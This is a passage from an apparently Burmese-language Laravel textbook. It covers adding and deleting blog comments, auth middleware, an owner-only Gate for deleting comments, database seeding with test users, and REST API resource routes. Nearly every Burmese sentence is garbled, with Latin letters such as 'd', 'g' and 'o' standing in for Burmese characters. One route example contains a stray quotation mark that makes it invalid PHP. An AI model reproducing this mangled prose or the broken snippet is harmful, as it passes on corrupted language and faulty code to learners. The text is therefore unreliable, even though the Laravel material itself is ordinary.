ရပါတယ်။ အ့ဲဒီ Comments စာရင်းကို Loop လုပ်ပြပီး doာ်gပထားတဲ့အတွက် ရလဒ်က အခုလို goစ်မှာပါ။
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လက်စနဲ့  Comment  အသစ်dတွ  ထပ်ထည့်လ့ုိ  ရdအာင်နဲ့  gပန်oျက်လ့ုိရdအာင်  လုပ်ပါမယ်။
detail.blade.php ကို အခုလုိ ထပ်မံgoည့်စွက်ပါ။

 HTML/Blade/PHP 
@extends("layouts.app")
@section("content")
  <div class="container">
    <div class="card mb-2">
      ...
    </div>

    <ul class="list-group mb-2">
      <li class="list-group-item active">
        <b>Comments ({{ count($article->comments) }})</b>
      </li>
      @foreach($article->comments as $comment)
        <li class="list-group-item">
            <a href="{{ url("/comments/delete/$comment->id") }}"
                class="btn-close float-end">
            </a>
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            {{ $comment->content }}
        </li>
      @endforeach
    </ul>

    <form action="{{ url('/comments/add') }}" method="post">
      @csrf
      <input type="hidden" name="article_id"
        value="{{ $article->id }}">
      <textarea name="content" class="form-control mb-2" 
        placeholder="New Comment"></textarea>
      <input type="submit" value="Add Comment"
        class="btn btn-secondary">
    </form>
  </div>
@endsection

Comment တစ်ခုချင်းစီနဲ့အတူ /comments/delete/{id} Route ကိုသွားတဲ့ ခလုပ်dတွ ပါဝင်သွား
ပြပီး၊ Comment စာရင်းရဲ့dအာက်မှာ New Comment Form ပါဝင်သွားတာပါ။ Hidden Input တစ်ခုပါဝင်
ပြပီး သူရဲ့ Value က Article ID goစ်တယ်ဆိုတာကို သတိgပုပါ။ Form ရဲ့ Action အရ ဒီ Form ကို Submit
လုပ်လုိက်ရင်  /comments/add Route  ကို dရာက်သွားမှာပါ။ ဒါdeကာင့် အ့ဲဒီ  Route  dတွ သွားထည့်
dပးရပါမယ်။

/routes/web.php ရဲ့အdပါ်နားမှာ အခုလုိ goည့်dပးပါ။

 PHP 
use App\Http\Controllers\CommentController;

ပြပီးတဲ့အခါ Route အသစ်နှစ်ခုကို အခုလိုထပ်တိုးdပးလုိက်ပါ။

 PHP 
Route::post('/comments/add', [

CommentController::class, 
'create']

);
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Route::get('/comments/delete/{id}', [
CommentController::class,
'delete'

]);

/comments/add အတွက် Method က post() ဆိုတာကို သတိgပုပါ။

�ှတ်ချက် - Comment  အသစ်အတွက်  /articles/detail/{article_id}/comment/add
ဆိုတဲ့ Route ကို သံုးရင် ပုိgပည့်စုံနိုင်ပါတယ်။ ဒါdပမယ့် Comment အတွက် Route ကို /comments နဲ့
သာ စလုိတဲ့အတွက် အ့ဲဒီနည်းကို မသံုးခဲ့တာပါ။ Route နဲ့ Controller ဆက်စပ်မှု Consistence goစ်dစချင်
လ့ုိပါ။

လက်ရှိနမူနာ Route နှစ်ခုလံုးက CommentController ကို ညွှန်းထားလ့ုိ Comment Controller oုိင်
dဆာကရ်ပါမယ်။ ပြပီးတဲ့အခါ create() နဲ့ delete() Method (၂) ခု dရးdပးရပါမယ်။

php artisan make:controller CommentController

 PHP 
<?php

namespace App\Http\Controllers;
use App\Models\Comment;
use Illuminate\Http\Request;
class CommentController extends Controller
{
    public function create()
    {
        $comment = new Comment;
        $comment->content = request()->content;
        $comment->article_id = request()->article_id;
        $comment->save();
        return back();
    }
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public function delete($id)
    {
        $comment = Comment::find($id);
        $comment->delete();
        return back();
    }
}

App\Comment ကို Import လုပ်ထားတာ သတိgပုပါ။ create() နဲ့  delete() တိုရ့ဲ့ အလုပ်လုပ်ပံု
ကိုdတာ့ အထူးထပ်ပြပီး ရှင်းgပo့ုိ မလုိdတာ့zူးလ့ုိ ထင်ပါတယ်။ dရးထားတဲ့ကုဒ်မှာ အဓိပ္ပါယ်က dပါ်လွင်
dနပါပြပီ။ 

အခုဆိုရင်  ကျွန်dတာ်တို့  နမူနာအdနနဲ့  တည်dဆာက်dနတဲ့  Blog  စနစ်dလးဟာ  dတာ်dတာ်dလး
အသက်ဝင်dနပါပြပီ။  Article  dတွ  ထည့်လို့ရတယ်၊  oျက်လ့ုိရတယ်။  Comment  dတွ  တွဲgပdပးတယ်၊
Comment dတွ ထည့်လ့ုိရတယ်၊ oျက်လ့ုိရတယ်၊ စသgoင့် အdတာ်dလး အဆင်dgပdနပါပြပီ။

dနာက်တစ်ခန်းမှာ Authorization နဲ့ ပတ်သက်တဲ့အdeကာင်းအရာdတွ ထပ်goည့်eကပါမယ်။
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အခန်း (၅၁) – Laravel Authorization

dဆာ့o်ဝဲလံုခြခုံdရးနဲ့  ပတ်သက်ရင်  Authentication  နဲ့  Authorization  ဆိုတဲ့  အမည်  ခပ်ဆင်ဆင်နှစ်ခု
ရိှdနပါတယ်။  Authentication  ဆိုတာ  ဝင်ခွင့်ရှိမရှိ စစ်dဆးgခင်းgoစ်ပြပီး၊  Authorization  ဆိုတာကdတာ့
လုပ်ခွင့်ရှိမရှိ စစ်dဆးgခင်းgoစ်ပါတယ်။  အမည်နဲ့  သdzာသzာဝ  ဆင်dပမယ့်  တူdတာ့  မတူပါzူး။
Laravel  မှာ  Authentication  နဲ့  ပတ်သက်လ့ုိ  လုိအပ်တဲ့  ကုဒ်dတွက  ကိုယ်တိုင်dရးစရာမလုိzဲ
Framework  က ကြကိုdရးdပးထားလ့ုိ ထည့်ပုံထည့်နည်းကို  eကည့်ခဲ့ပြပီးပါပြပီ။  ဒါdeကာင့်  Login,  Register,
Logout စတဲ့လုပ်ငန်းdတွက ရရိှထားပြပီး goစ်ပါတယ်။

အခုဆက်လက်ပြပီး Authorization နဲ့ပတ်သက်တဲ့ နမူနာdတွ dရးစမ်းeကည့်ပါမယ်။ ပထမအဆင့် အdနနဲ့
Article  dတွထည့်တာ၊  oျက်တာ၊  Comment  dတွ  ထည့်တာ oျက်တာကို  လူတိုင်းကို  လုပ်ခွင့်မdပးzဲ၊
Login ဝင်ထားတဲ့ သူကိုသာ လုပ်ခွင့် dပးပါdတာ့မယ်။ ဒီအတွက် Auth Middleware ကို သံုးပြပီး အလွယ်
တစ်ကူ dရးလို့ရပါတယ်။

Middleware အdeကာင်းကို eကားgoတ်ပြပီး နည်းနည်းdgပာရရင်၊  Middleware ဆိုတာ Request Filter  လ့ုိ
အလွယ်မှတ်နိုင်ပါတယ်။  Request  တစ်ခုကို  လက်ခံရရှရိင်  eကားgoတ်စစ်dဆးစီမံတဲ့အလုပ်dတွ လုပ်dပး
နိုင်တဲ့  နည်းပညာပါ။  Laravel  မှာ  CSRF Token, Auth  စသgoင့်  Middleware  dတွ အသင့် ပါပါတယ်။
CSRF Token Middleware က eကားgoတ်ပြပီး စစ်dနလ့ုိ Form dတွမှာ @csrf မပါရင် အလုပ်မလုပ်တာ
ပါ။ ကိုယ်တိုင်လည်း  Middleware  dတွ dရးလ့ုိရပါတယ်။  Third-party Middleware  dတွလည်း လုိအပ်
ရင် ထပ်ထည့်လ့ုိရပါတယ်။ ဒီစာအုပ်မှာdတာ့ ထူးgခားတဲ့ လုိအပ်ချက်မရှိလ့ုိ ကိုယ်တိုင်  Middleware  dတွ
dရးသားပံုကို ထည့်မdoာ်gပပါzူး။ လုိအပ်ရင် dနာက်မှကိုယ့်zာသာ ဆက်dလ့လာရမှာပါ။



PWD 2022 – အခန်း (၅၁) – Laravel Authorization 722

Auth  Middleware  ကို  အသံုးgပုပြပီး  Login  ဝင်ထားမထား  စစ်o့ုိအတွက်  Route  မှာ  စစ်လ့ုိရသလုိ
Controller မှာလည်း စစ်လ့ုိရပါတယ်။ ဥပမာ -

 PHP 
Route::get('/articles/add', [

"ArticleController::class,
'add'

])->middleware('auth');

ဒီလုိdရးdပးလုိက်ရင် /articles/add Route က Login goစ်dနမှပဲ အလုပ်လုပ်dတာ့မှာပါ။ Login ဝင်
မထားzဲ သွားo့ုိကြကိုးစားရင် Login Page ကို အလုိအdလျှာက် dရာက်သွားမှာပါ။ ဒါdပမယ့် Route တစ်ခု
ချင်းစီမှာ အ့ဲဒီလုိလုိက်dရးdနရရင် အလုပ်ရှုပ်ပါတယ်။ ဒါdeကာင့် ArticleController Class ထဲမှာ
အခုလုိgoည့်စွက် dပးသင့်ပါတယ်။

 PHP 
public function __construct()
{
    $this->middleware('auth')->except(['index', 'detail']);
}

Constructor  ထည့်သွင်းလုိက်gခင်းgoစ်ပြပီး  Middleware  အdနနဲ့  auth ကို  အသံုးgပုo့ုိ  သတ်မှတ်ထားပါ
တယ်။ ဒါdeကာင့် ဒီ  Controller  ထဲက လုပ်dဆာင်ချက်dတွကို  Login  goစ်dနမှပဲ dပးလုပ်dတာ့မှာပါ။ ဒါ
dပမယ့် except() နဲ့ index, detail နှစ်ခုကို ချန်ထားတဲ့အတွက် index() နဲ့ detail() တို့
ကိုdတာ့  Login  မgoစ်လည်းzဲ ခြွခင်းချက်အdနနဲ့ အသုံးgပုခွင့်dပးပါလိမ့်မယ်။  CommentController
မှာdတာ့ အခုလုိ dရးdပးသင့်ပါတယ်။

 PHP 
public function __construct()
{
    $this->middleware('auth');
}

သ့ူမှာdတာ့ except() dတzွာdတွ မလုိdတာ့ပါzူး။ အခုဆိုရင် Login ဝင်မထားရင် eကည့်ယံုပဲ eကည့်
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လ့ုိရပြပီး Login ဝင်ထားdတာ့မှသာ အသစ်ထည့်တာ၊ oျက်တာdတွ လုပ်လုိရ့dတာ့မှာပါ။
တစ်ချ ို ့ + Add Article လုိခလုပ်dတွ အပါအဝင် တစ်ချ ို ့ UI dတွကိုလည်း Login ဝင်ထားမှ gပdစချင်ရင် ရ
ပါတယ်။ /resources/views/layouts oုိဒါထဲက app.blade.php မှာ + Add Article ခလုပ်
ထည့်ထားတာ မှတ်မိဦးမှာပါ။ ဒီလုိgပင်dပးလုိက်မယ်ဆိုရင် အ့ဲဒီ + Add Article ခလုပ်ကို Login ဝင်ထားမှ
ပဲ gမင်ရdတာ့မှာပါ။

 HTML/Blade/PHP 
<li class="nav-item">
    @auth
        <a class="nav-link text-success"
            href="{{ url('/articles/add') }}">+ Add Article</a>
    @endauth
</li>

dgပာင်းgပန်အားgoင့် Login မဝင်ထားမှ gပdစချင်တာdတွ ရှိရင်လည်းရပါတယ်။ @auth အစား @guest
ကို သံုးdပးရပါတယ်။

Authorizing Comment Delete (only owner)
ဒီတစ်ခါdတာ့  ကိုယ့်ထည့်ထားတဲ့  Comment  ကိုပဲ  oျက်ခွင့်gပုတဲ့  ကုဒ်dတွ  ထပ်dရးပါမယ်။  စမ်းသပ်
dရးသားနိုင်o့ုိအတွက်  Database  Migration  နဲ့  Seed  ကို  အရင်gပင်ရပါမယ်။  ပထမဆုံးအdနနဲ့
xxx_create_comments_table.php ကိုoွင့်ပြပီး အခုလုိgoည့်စွက်dပးပါ။

 PHP 
public function up()
{
    Schema::create('comments', function (Blueprint $table) {
        $table->id();
        $table->text('content');
        $table->integer('article_id');
        $table->integer('user_id');
        $table->timestamps();
    });
}
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user_id Column ပါဝင်သွားတာပါ။ Comment dတွသိမ်းတဲ့အခါ သိမ်းတဲ့သူရဲ့  ID ကို တဲွသိမ်းနိုင်oုိ့ပါ။
ပြပီးတဲ့အခါ၊ CommentFactory.php မှာလည်း အခုလုိgoည့်စွက်dပးပါ။

 PHP 
public function definition()
{
    return [
        "content" => $this->faker->paragraph,
        "article_id" => rand(1, 20),
        "user_id" => rand(1, 2),
    ];
}

user_id Column  အတွက်  တန်oုိးတစ်ခါတည်း  ထည့်သတ်မှတ်dပးလုိက်တာပါ။  ပြပီးရင်dတာ့
DatabaseSeeder.php မှာ အခုလုိ User Model Class ကို Import လုပ်dပးပါ။

 PHP 
use App\Models\User;

ပြပီးတဲ့အခါ User Factory ကိုသုံးပြပီး User Model နှစ်ခုတည်dဆာက်တဲ့ကုဒ်ကို အခုလိုgoည့်dပးပါ။

 PHP 
public function run()
{
    Article::factory()->count(20)->create();
    Category::factory()->count(5)->create();
    Comment::factory()->count(40)->create();
    User::factory()->create([
        "name" => "Alice",
        "email" => "alice@gmail.com",
    ]);

    User::factory()->create([
        "name" => "Bob",
        "email" => "bob@gmail.com",
    ]);
}



PWD 2022 – အခန်း (၅၁) – Laravel Authorization 725

Alice  နဲ့  Bob  ဆိုတဲ့  User  (၂)  dယာက်ကို  တစ်ခါတည်း  ထည့်လုိက်တာပါ။  UserFactory က
Framework  နဲ့အတူ  နZိုကတည်းက  ပါဝင်ပြပီးgoစ်ပါတယ်။  ကိုယ့်zာသာ  ထပ်dရးdပးစရာ  မလုိပါzူး။
UserFactory ထဲမှာ name, email ကို Faker နဲ့ Random dပးထားလ့ုိ မသံုးချင်ပါzူး။ ဒါdပမယ့်
UserFactory ကို  သွားgပင်စရာ  မလုိပါzူး။  နမူနာမှာ  gပထားတဲ့အတိုင်း  DatabaseSeeder မှာ
ကိုယ်dပးချင်တဲ့  Property  dတွကို  တွဲdပးလ့ုိ  ရပါတယ်။  UserFactory ထဲမှာ  Password  အတွက်
password ဆိုတဲ့စာလံုးကိုပဲ  Hash  dgပာင်းပြပီး  သိမ်းထားdပးပါတယ်။  ဒါdeကာင့်  User  အားလံုးရဲ့
Password က password goစ်ပါတယ်။ 

ပြပီးတဲ့အခါ Migration နဲ့ Seed ကို အခုလုိ အတွဲလုိက် Run dပးလုိက်ပါ။

php artisan migrate:fresh --seed

dနာက်ကdန  --seed တွဲdပးထားတဲ့အတွက်  db:seed ကို  dနာက်တစ်deကာင်း ထပ်  Run  စရာမလို
dတာ့ပါzူး။ ပြပီးတဲ့အခါ  alice@gmail.com, bob@gmail.com စတဲ့  အီးdမးလ်  (၂)  ခုထဲက နှစ်သက်ရာ
တစ်ခုနဲ့  Login ဝင်ပြပီး စမ်းeကည့်လ့ုိရပါပြပီ။ Password ကdတာ့ password ပါ။

လုပ်ချင်တာကdတာ့ Comment dတွကို လူတိုင်းကို oျက်ခွင့်မdပးzဲ၊ မူလတင်ထားသူကိုသာ oျက်ခွင့်dပး
ချင်တာပါ။  အ့ဲဒါမdရးခင်  zယ်  Comment  ကို  zယ်သူတင်ထားလဲ သိရo့ုိ  လုိပါdသးတယ်။ ဒါdeကာင့်
/app/Models oုိဒါdအာက်က Comment.php မှာ အခုလုိ Relationship Method တစ်ခု dရးdပးပါ။

 PHP 
public function user()
{
    return $this->belongsTo("App\Models\User");
}

ပြပီးရင်  /resources/views/articles oုိဒါdအာက်က  detail.blade.php မှာ  အခုလုိgပင်
dပးပါ။
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 HTML/Blade/PHP 
@extends("layouts.app")
@section("content")
  <div class="container">
    ...

    <ul class="list-group mb-2">
      <li class="list-group-item active">
        <b>Comments ({{ count($article->comments) }})</b>
      </li>
      @foreach($article->comments as $comment)
        <li class="list-group-item">

<a href="{{ url("/comments/delete/$comment->id") }}"
            class="btn-close float-end">
          </a>
          {{ $comment->content }}
          <div class="small mt-2">
            By <b>{{ $comment->user->name }}</b>,
            {{ $comment->created_at->diffForHumans() }}
          </div>
        </li>
      @endforeach
    </ul>

@auth
      <form action="{{ url('/comments/add') }}" method="post">
        ...
      </form>
    @endauth
  </div>
@endsection

Comment ကိုdoာ်gပတဲ့အခါ Username နဲ့ Date Time ကိုပါ တစ်ခါတည်း ထည့်gပလုိက်တာပါ။ ပြပီးdတာ့
Comment Form ကိုလည်း @auth goစ်dနမှပဲ gပခိုင်းထားပါတယ်။ လက်ရှရိလဒ်က အခုလုိgoစ်မှာပါ။
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အခုဆိုရင် Comment တစ်ခုချင်းစီရဲ့dအာက်မှာ zယ်သူdရးထားတာလဲဆိုတဲ့ နာမည်dလးdတွ dပါ်dနပါ
ပြပီ။ ဆက်လက်ပြပီး ကိုယ်dရးထားတဲ့  Comment ကိုပဲ oျက်လ့ုိရdအာင်၊ သူများ Comment dတွ oျက်လ့ုိမ
ရdအာင် လုပ်ပါမယ်။

Laravel  မှာ  Authorization  နဲ့ပတ်သက်ရင်  Gate  နဲ့  Policies  လ့ုိdခါ်တဲ့  နည်းလမ်းနှစ်မျ ို းပါပါတယ်။
သdzာသzာဝကdတာ့  အတတူူပါပဲ။  Authorization  Rule  dတွနည်းရင်  Gate  နဲ့ပဲ  dရးလ့ုိရပါတယ်။
များရင်dတာ့ စုစုစည်းစည်း goစ်သွားdအာင် Policies အdနနဲ့ dရးသင့်ပါတယ်။ အခုလက်ရှိနမူနာမှာdတာ့
တစ်ခတုည်းပဲ ရိှမှာမ့ုိလုိ့ Gate နဲ့ပဲ dရးမှာgoစ်ပါတယ်။

တစ်ကယ်dတာ့  Gate  dတွ  Policies  dတွမပါdသးzဲ  ဒီအတိုင်းလည်း  စစ်လုိ့ရပါတယ်။  ဥပမာ  -
CommentController ရဲ့ delete() Method ကို အခုလုိ gပင်နိုင်ပါတယ်။
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 PHP 
public function delete($id)
{
    $comment = Comment::find($id);
    if($comment->user_id == auth()->user()->id) {
        $comment->delete();
        return back();
    } else {
        return back()->with('error', 'Unauthorize');
    }
}

Controller Method ထဲမှာပဲ Comment ရဲ့ user_id နဲ့ လက်ရှိ Login ဝင်ထားတဲ့ User ရဲ့ id တူမတူ
စစ်လုိက်တာပါ။  auth() Function  ကိုသံုးပြပီး လက်ရှိ  Login  အdgခအdနကို ရယူနိုင်ပါတယ်။ ဥပမာ  -
auth()->check()  က true gပန်လာရင် Login goစ်ပြပီး  false gပန်လာရင် Login မgoစ်zူးဆိုတဲ့
အဓိပ္ပါယ်ပါ။ လက်ရှိ Login ဝင်ထားတဲ့ User ကို လုိချင်ရင်dတာ့ auth()->user() နဲ့ ယူနိုင်ပါတယ်။
ဒီနည်းနဲ့ပဲ နမူနာမှာ Login User ရဲ့ id ကို ယူပြပီးတိုက်စစ်ထားတာပါ။

ဒါdပမယ့်  Controller  Method  dတွထဲမှာ  အခုလုိ  Authorization  စစ်တဲ့  Logic  dတွကို  goန့်ကျဲပြပီး
dရးထားတာ အdလ့အကျင့်dကာင်း မဟုတ်ပါzူး။ eကာလာရင် စီမံရခက်လာပါလိမ့်မယ်။ ဒါdeကာင့် Gate
တို့ Policies တို့ကို သံုးရတာပါ။

Comment  Delete  အတွက်  Authorization  Logic  dရးoို့အတွက်  /app/Providers/ oုိဒါထဲက
AuthServiceProvider.php oုိင်ကိုoွင့်ပါ။ boot() Method ထဲမှာ အခုလုိdရးdပးပါ။

 PHP 
public function boot()
{
    $this->registerPolicies();
    Gate::define('comment-delete', function($user, $comment) {
        return $user->id == $comment->user_id;
    });
}
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Gate Class ရဲ့ define() Method ကို အသံုးgပုပြပီး Authorization Logic တစ်ခု သတ်မှတ်လုိက်တာပါ။
အမည်ကို  comment-delete လ့ုိdပးထားပါတယ်။  ကြကိုက်တဲ့အမည်dပးလ့ုိရပါတယ်။  အဓိပ္ပါယ်
dပါ်လွင်dအာင်  dပးထားတဲ့  သdzာပါ။  Logic  ကိုdတာ့  dနာက်က  Function  ထဲမှာ  ဆကd်ရးထားပါ
တယ်။ Function က Parameter နှစ်ခုလက်ခံပါတယ်။ $user နဲ့ $comment ပါ။ Logic ကdတာ့ ရိုးရိုး
dလးပါ $user->id နဲ့ $comment->user_id တူရင် မှန်တယ်လ့ုိ သတ်မှတ်လုိက်တာပါ။

ဒီ Gate ကို အသံုးgပုပြပီး CommentController ရဲ့ delete() Method ကို gပင်dရးပါမယ်။ မdရးခင်
အdပါ်မှာ Gate Class ကို အခုလုိအရင် Import လုပ်dပးပါ။

 PHP 
use Illuminate\Support\Facades\Gate;

delete() Method အတွက် ကုဒ်က ဒီလုိပါ။

 PHP 
public function delete($id)
{
    $comment = Comment::find($id);
    if( Gate::allows('comment-delete', $comment) ) {
        $comment->delete();
        return back();
    } else {
        return back()->with('error', 'Unauthorize');
    }
}

dစာdစာက  ကုဒ်နဲ့အတူတူပါပဲ။  ကိုယ့်zာသာ  စစ်မယ့်အစား  Gate  ရဲ့  အကူအညီနဲ့  dရးပြပီးသား
comment-delete ကို လှမ်းdခါ်လုိက်တဲ့ သdzာမျ ို းပါ။ ဒီလုိdရးရင်လည်း ရပါတယ်။
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 PHP 
public function delete($id)
{
    $comment = Comment::find($id);
    if(Gate::denies('comment-delete', $comment)) {
        return back()->with('error', 'Unauthorize');   
    }

    $comment->delete();
    return back();
}

Gate ရဲ့ allows() သ့ုိမဟုတ် denies() Method ကို အသံုးgပုပြပီး လက်ရှိအလုပ်ကို လုပ်ခွင့်ရှိမရှိ စစ်
လ့ုိရတဲ့သdzာ  goစ်ပါတယ်။  Gate  ကို  define() နဲ့  သတ်မှတ်ခဲ့စဉ်က  Function  Parameter  မှာ
$user ကိုလည်း ထည့်dပးခဲ့ရပါတယ်။ ဒါdပမယ့် gပန်သံုးတဲ့အချနိ်မှာ User ကို ထည့်dပးစရာမလုိပါzူး။
Laravel  က သ့ူzာသာ ထည့်dပးသွားပါတယ်။ ဒါdeကာင့် gပန်သံုးတဲ့အချနိ်မှာ  $comment တစ်ခုတည်း
ကိုပဲ ထည့်dပးထားတာပါ။

ဒီနည်းနဲ့  Laravel  မှာ zယ်သူzယ်အလုပ်လုပ်ခွင့်ရှိတယ်ဆိုတဲ့  Authorization  နဲ့  Access Control  ကို
စီမံdရးသားရတာgoစ်ပါတယ်။ dမ့ကျန်ခဲ့မှာစိုးလ့ုိ CommentController ရဲ့ create() Method ကို
လည်း အခုလုိ gပင်dပးoုိ့လုိအပ်ပါတယ်။

 PHP 
public function create()
{
    $comment = new Comment;
    $comment->content = request()->content;
    $comment->article_id = request()->article_id;
    $comment->user_id = auth()->user()->id;
    $comment->save();
    return back();
}

ဒီdတာ့မှ Comment dတွသိမ်းတဲ့အခါ user_id ကို ထည့်သိမ်းသွားမှာပါ။ Article dတွကိုလည်း အ့ဲလုိပဲ
လူတိုင်းoျက်လို့မရzဲ၊ dရးထားတဲ့သူပဲ oျက်လ့ုိရdအာင် ကိုယ့်zာသာ စမ်းလုပ်eကည့်သင့်ပါတယ်။ 
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အခန်း (၅၂) – Basic API with Laravel

API (Application Program Interface) ဆိုတာဟာ UI မပါတဲ့ကုဒ်လ့ုိ ဆိုနိုင်ပါတယ်။ API ကုဒ်နဲ့ တgခား
Application ကုဒ်ဟာ အdgခခံတူညီပြပီး UI ပါgခင်းနဲ့ မပါgခင်းသာ ကွာသွားတာပါ။ Application က Input
Data  ကို လက်ခံပြပီး  UI  ကို  Output  အdနနဲ့ gပန်gပdပးပါမယ်။  API    ကdတာ့    Input Data    ကို လက်ခံပြပီး  
Output   ကိုလည်း   Data   အdနနဲ့ပဲ gပန်dပးပါတယ်  ။ UI မပါတဲ့အတွက် ရလာတဲ့ အားသာချက်dတွကdတာ့

၁။ UI ကို နှစ်သက်ရာ နည်းပညာနဲ့ ခွဲgခားdရးသားနိုင်gခင်း goစ်ပါတယ်။ ဥပမာ - PHP API 
ကို JavaScript UI နဲ့ တွဲသံုးလ့ုိ ရတဲ့သdzာပါ။

၂။ Platform အမျ ို းမျ ို းအတွက် UI အမျ ို းမျ ို းခွဲdရးထားနိုင်ပါတယ်။ ဥပမာ - Web App,
Android App, iOS App စသgoင့် အမျ ို းမျ ို းက API တစ်ခုတည်းကို ဆက်သွယ်အသုံး
gပု အလုပ်လုပ်နိုင်gခင်း goစ်ပါတယ်။

တစ်ကယ်dတာ့ မျက်စိထဲမှာ gမင်dအာင် UI လ့ုိ dgပာdနတာပါ။ ဒီ UI ပရိုZရမ်dတွကို Frontend လ့ုိလည်း
dခါ်eကပါတယ်။ Client လ့ုိလည်း dခါ်eကပါတယ်။ API ကိုdတာ့ Backend လ့ုိ dခါ်eကပါတယ်။

ဒါdeကာင့် Laravel ကို အသံုးgပုပြပီး API oန်တီးတဲ့အခါ၊ တgခား သdzာသသာဝdတွ အများကြကီး dgပာင်းလဲ
gခင်းမရှzိဲ၊  View Template  dတွကို မသံုးdတာ့တာပဲ ရှိတယ်လ့ုိ အလွယ်dgပာနိုင်ပါတယ်။ အdgခခံ  Web
နည်းပညာdတွထဲမှာ တစ်ခုအပါအဝင်goစ်တဲ့  Session ကိုလည်း API dတွမှာ သံုးdလ့မရှိပါzူး။ ဒါdeကာင့်
Authentication  နဲ့  Authorization  ပုိင်းမှာdတာ့  ရိုးရိုး  Application  နဲ့  API  dတာ်dတာ်ကွာသွားပါလိမ့်
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မယ်။ dလာdလာဆယ် အdgခခံdလာက်ပဲအရင်eကည့်ပြပီး dနာက်ဆုံးပုိင်းdရာကd်တာ့မှ  အdသးစိတ် ထပ်
eကည့်eကပါမယ်။

API Route
Routing အdeကာင်း ရှင်းgပခဲ့တုံးက လုိက်နာသင့်တဲ့ URL Pattern dတွကိုdgပာခဲ့တာ မှတ်မိဦးမှာပါ။

• /resource/action/id
• /resource/action/id/sub-resource/sub-action

API  အdeကာင်းdgပာတဲ့အခါ  အရင်ဆုံးဒီကdနစdgပာရပါလိမ့်မယ်။  URL  Pattern  မdgပာင်းပါzူး။  ဒါdပ
မယ့် action မလိုdတာ့ပါzူး။ ဒါdeကာင့် API အတွက် သံုးမယ့် URL Pattern က ဒီလုိပါ။

• /resource/id
• /resource/id/sub-resource

Action အစား HTTP Method dတွgoစ်eကတဲ့ GET, POST, PUT, PATCH, DELETE တို့ကို အသံုးgပုသွား ရ
မှာပါ။  ဒီနည်းက  REST  (Representational  State  Transfer)  လ့ုိdခါ်တဲ့  နည်းစနစ်ကdနလာပြပီး  API
oန်တီးသူတိုင်း  စံထားပြပီး သံုးdနeကတဲ့  နည်းပါ။ အရင်တုံးကdတာ့  REST  ရဲ့  အားသာချက်dတွ zယ်လို
zယ်ဝါရှိတယ်၊ ဒါdeကာင့် သံုးသင့်တယ် စသgoင့် ရှင်းgပရမှာပါ။ အခdုတာ့ အ့ဲဒီdလာက် dgပာdနစရာ မလုိ
dတာ့ပါzူး။  REST  ဆိုတာ မgoစ်မdန သံုးကိုသံုးရမယ့် နည်းစနစ်goစ်dနပါပြပီ။ dနာက်ကွယ်မှာ ကျယ်gပန့်
တဲ့ သdzာသzာဝdတွ ရှိdပမယ့် လက်dတွ့အသုံးgပုနိုင်o့ုိဒီ  URL Pattern  ကို မှတ်ထားရင် လံုdလာက်
dနပါပြပီ။

API Route dတွကို Manual သတ်မှတ်မယ်ဆိုရင် ဒီလုိပံုစံgoစ်နိုင်ပါတယ်။

 PHP 
Route::get('/categories', [
    CategoryApiController::class, 'index'
]);

Route::get('/categories/{id}',  [
    CategoryApiController::class, 'detail'
]);
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Route::post('/categories',  [
    CategoryApiController::class, 'create'
]);

Route::put('/categories/{id}',  [
    CategoryApiController::class, 'update'
]);

Route::patch('/categories/{id}',  [
    CategoryApiController::class, 'update'
]);

Route::delete('/categories/{id}',  [
    CategoryApiController::class, 'delete'
]);

URL  က နှစ်ခုတည်းပါ။  /categories  နဲ့  /categories/{id} goစ်ပါတယ်။ ဒါdပမယ့်  get,
post, put, patch, delete တို့နဲ့တွဲလုိက်တဲ့အခါ အလုပ်  (၅)  ခရုသွားပါတယ်။  (၆)  deကာင်း
dရးထားdပမယ့် put နဲ့ patch အတွက် Controller Method တစ်ခုတည်းကို ညွှန်းထားတာကို သတိgပု
ပါ။ အdgခခံအားgoင့်  get() ကို  Data  dတွ ရယူတဲ့  လုပ်ငန်းအတွက် သံုးပါတယ်။  post() ကို  Data
အသစ်တည်dဆာက်တဲ့  လုပ်ငန်းအတွက်သံုးပါတယ်။  put() နဲ့  patch() ကို  Data  gပင်ဆင်တဲ့
လုပ်ငန်းအတွက် သံုးပါတယ်။ တူတယ်လို့  dgပာလို့ရသလုိ၊ မတူzူးလ့ုိလည်း dgပာလ့ုိရပါတယ်။  PUT  ဆို
တာ နZို  Data  ကို  Data  အသစ်နဲ့ အစားထုိး gပင်ဆင်တဲ့ gပင်ဆင်မှုမျ ို းမှာ သံုးရတာပါ။  PATCH ကိုdတာ့
နZို  Data ထဲက တစ်စိတ်တစ်ပုိင်းကို dရးွထုတ်gပင်ဆင်တဲ့ လုပ်ငန်းမျ ို းမှာ သံုးရတာပါ။ gပင်တာချင်းတူdပ
မယ့် သdzာသzာဝ ကွာပါတယ်။ ဒါdပမယ့်  တစ်ချ ို ့dတွလည်း အ့ဲဒီdလာက်ထိ  အdသးစိတ်  ခွဲမdနပါ
zူး။ gပင်တဲ့အလုပ်ဆိုရင် zယ်လုိပဲgပင်gပင်  PUT သ့ုိမဟုတ်  PATCH နှစ်ခုထဲက နှစ်သက်ရာ သံုးလိုက်eက
တာပါပဲ။ delete() ကိုdတာ့ Data dတွပယ်oျက်တဲ့ လုပ်ငန်းမှာ အသံုးgပုပါတယ်။

API  Route  dတရွဲ့  သdzာသzာဝကို  သိdအာင်သာdgပာတာပါ။  Laravel  မှာ  အ့ဲဒီလုိတစ်deကာင်းချင်း
ကိုယ်တိုင်သတ်မှတ်dပးစရာမလုိပါzူး။ ဒီလုိdရးလုိက်ရင် ရပါတယ်။

 PHP 
Route::apiResource('/categories', CategoryApiController::class);
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ဒါဆိုရင်  Laravel  က လုိအပ်တဲ့  get, post, put, delete ROUTE  dတွ အကုန်လံုးကို  အလုိ
အdလျှာက် သတ်မှတ်dပးသွားမှာပါ။ ဒါdeကာင့် /routes oုိဒါထဲက api.php ကိုoွင့်ပြပီး အdပါ်မှာdပး
ထားတဲ့  ကုဒ်ကို  dရးgoည့်dပးလိုက်ပါ။  သတိမေပြပုပါ  -  အခုသုံးတာ  web.php မဟုတ်dတာ့ပါzူး။
api.php goစ်သွားပါပြပီ။

web.php နဲ့  api.php zာကွာလဲဆိုdတာ့၊  web.php ထဲမှာ dရးထားတဲ့  Route  dတွကို လုိအပ်ရင်
CSRF စစ်ပြပီး Session အသံုးgပုခွင့် dပးထားပါတယ်။ api.php ထဲက Route dတွကိdုတာ့ CSRF မစစ်
dတာ့ပါzူး။  Session  လည်းသံုးခွင့်မdပးdတာ့ပါzူး။  goည့်စွက်ချက်အdနနဲ့  Rate  Limit  ပါဝင်သွားပါ
